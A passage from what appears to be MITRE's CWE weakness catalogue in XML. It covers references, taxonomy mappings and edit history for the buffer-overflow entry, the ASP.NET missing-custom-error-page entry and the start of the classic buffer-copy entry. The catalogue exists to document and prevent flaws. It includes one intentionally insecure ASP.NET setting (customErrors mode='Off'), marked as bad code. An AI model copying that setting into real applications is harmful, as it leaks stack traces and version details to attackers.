					          <Reference_Link>http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.119.5">
					          <Reference_Author>Arjan van de Ven</Reference_Author>
					          <Reference_Title>Limiting buffer overflows with ExecShield</Reference_Title>
					          <Reference_Link>http://www.redhat.com/magazine/009jul05/features/execshield/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-29" Local_Reference_ID="R.119.6">
					          <Reference_Title>PaX</Reference_Title>
					          <Reference_Link>http://en.wikipedia.org/wiki/PaX</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-25" Local_Reference_ID="R.119.7">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Understanding DEP as a mitigation technology part
						1</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.119.8">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 5, "Memory Corruption", Page 167.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.119.9">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 5, "Protection Mechanisms", Page
						189.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Buffer Overflows</Mapped_Node_Name>
					          <Mapped_Node_ID>A5</Mapped_Node_ID>
					          <Mapping_Fit>Exact</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Understand how arrays work</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Guarantee that copies are made into storage of sufficient
						size</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that array types in expressions are
						compatible</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not allow loops to iterate beyond the end of an
						array</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not make assumptions about the size of an environment
						variable</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not assume character data has been read</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not assume memory allocation routines initialize
						memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM09-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Guarantee that storage for strings has sufficient space for
						character data and the null terminator</Mapped_Node_Name>
					          <Mapped_Node_ID>STR31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Null-terminate byte strings as required</Mapped_Node_Name>
					          <Mapped_Node_ID>STR32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Size wide character strings correctly</Mapped_Node_Name>
					          <Mapped_Node_ID>STR33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Buffer Overflow </Mapped_Node_Name>
					          <Mapped_Node_ID>7</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Understand when to prefer vectors over
						arrays</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee that array and vector indices are within the valid
						range</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee that copies are made into storage of sufficient
						size</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not allow loops to iterate beyond the end of an array or
						container</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR35-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee that storage for character arrays has sufficient
						space for character data and the null terminator</Mapped_Node_Name>
					          <Mapped_Node_ID>STR31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Null-terminate character arrays as required</Mapped_Node_Name>
					          <Mapped_Node_ID>STR32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume memory allocation routines initialize
						memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM09-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume character data has been read</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO37-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not make assumptions about the size of an environment
						variable</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>42</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>44</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Likelihood_of_Exploit, Name, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Relationships,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Detection_Factors, Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Demonstrative_Examples, Detection_Factors, Potential_Mitigations,
						References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Buffer
						Errors</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Failure to Constrain
						Operations within the Bounds of an Allocated Memory
						Buffer</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Constrain
						Operations within the Bounds of a Memory Buffer</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="12" Name="ASP.NET Misconfiguration: Missing Custom Error Page" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An ASP .NET application must enable custom error pages in order
					to prevent attackers from mining information from the framework's built-in
					responses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>10</Relationship_Target_ID>
					          <!--ASP.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>756</Relationship_Target_ID>
					          <!--Missing Custom Error Page-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>The mode attribute of the &lt;customErrors&gt; tag defines whether custom
						or default error pages are used.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Default error pages gives detailed information about the error that
							occurred, and should not be used in production environments.</Text>
						            <Text>Attackers can leverage the additional information provided by a
							default error page to mount attacks targeted on the framework, database,
							or other resources used by the application.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Handle exceptions appropriately in source code. The best practice is
							to use a custom error message. Make sure that the mode attribute is set
							to "RemoteOnly" in the web.config file as shown in the following
							example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>&lt;customErrors mode="RemoteOnly" /&gt;</Code>
						            </Block>
						            <Text>The mode attribute of the &lt;customErrors&gt; tag in the Web.config
							file defines whether custom or default error pages are used. It should
							be configured to use a custom page as follows:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>&lt;customErrors mode="On" defaultRedirect="YourErrorPage.htm"
								/&gt;</Code>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Do not attempt to process an error or attempt to mask it.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Verify return values are correct and do not supply sensitive
							information about the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>ASP .NET applications should be configured to use custom error pages
							instead of the framework default page.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-75">
					          <Intro_Text>An insecure ASP.NET application setting: </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>&lt;customErrors mode="Off" /&gt;</Code>
						            </Block>
						            <Text>Custom error message mode is turned off. An ASP.NET error message with
							detailed stack trace and platform versions will be returned.</Text>
						            <Text>Here is a more secure setting: </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>&lt;customErrors mode="RemoteOnly" /&gt;</Code>
						            </Block>
						            <Text>Custom error message mode for remote users only. No defaultRedirect
							error page is specified. The local user on the web server will see a
							detailed stack trace. For remote users, an ASP.NET error message with
							the server customError configuration setting and the platform version
							will be returned.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Author>J. Viega</Reference_Author>
					          <Reference_Title>19 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Publisher>McGraw-Hill/Osborne</Reference_Publisher>
					          <Reference_PubDate>2005</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>OWASP, Fortify Software</Reference_Author>
					          <Reference_Title>ASP.NET Misconfiguration: Missing Custom Error
						Handling</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>ASP.NET Misconfiguration: Missing Custom Error
						Handling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Demonstrative_Example,
						Potential_Mitigations, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">ASP.NET Misconfiguration:
						Missing Custom Error Handling</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="120" Name="Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program copies an input buffer to an output buffer without
					verifying that the size of the input buffer is less than the size of the output
					buffer, leading to a buffer overflow.</Description_Summary>
				        <Extended_Description>
					          <Text>A buffer overflow condition exists when a program attempts to put more
						data in a buffer than it can hold, or when a program attempts to put data in
						a memory area outside of the boundaries of a buffer. The simplest type of
						error, and the most common cause of buffer overflows, is the "classic" case
						in which the program copies the buffer without restricting how much is
						copied. Other variants exist, but the existence of a classic overflow
						strongly suggests that the programmer is not considering even the most basic
						of security protections.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>726</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A5 - Buffer Overflows-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>At the code level, stack-based and heap-based overflows do not differ
						significantly, so there usually is not a need to distinguish them. From the
						attacker perspective, they can be quite different, since different
						techniques are required to exploit them.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
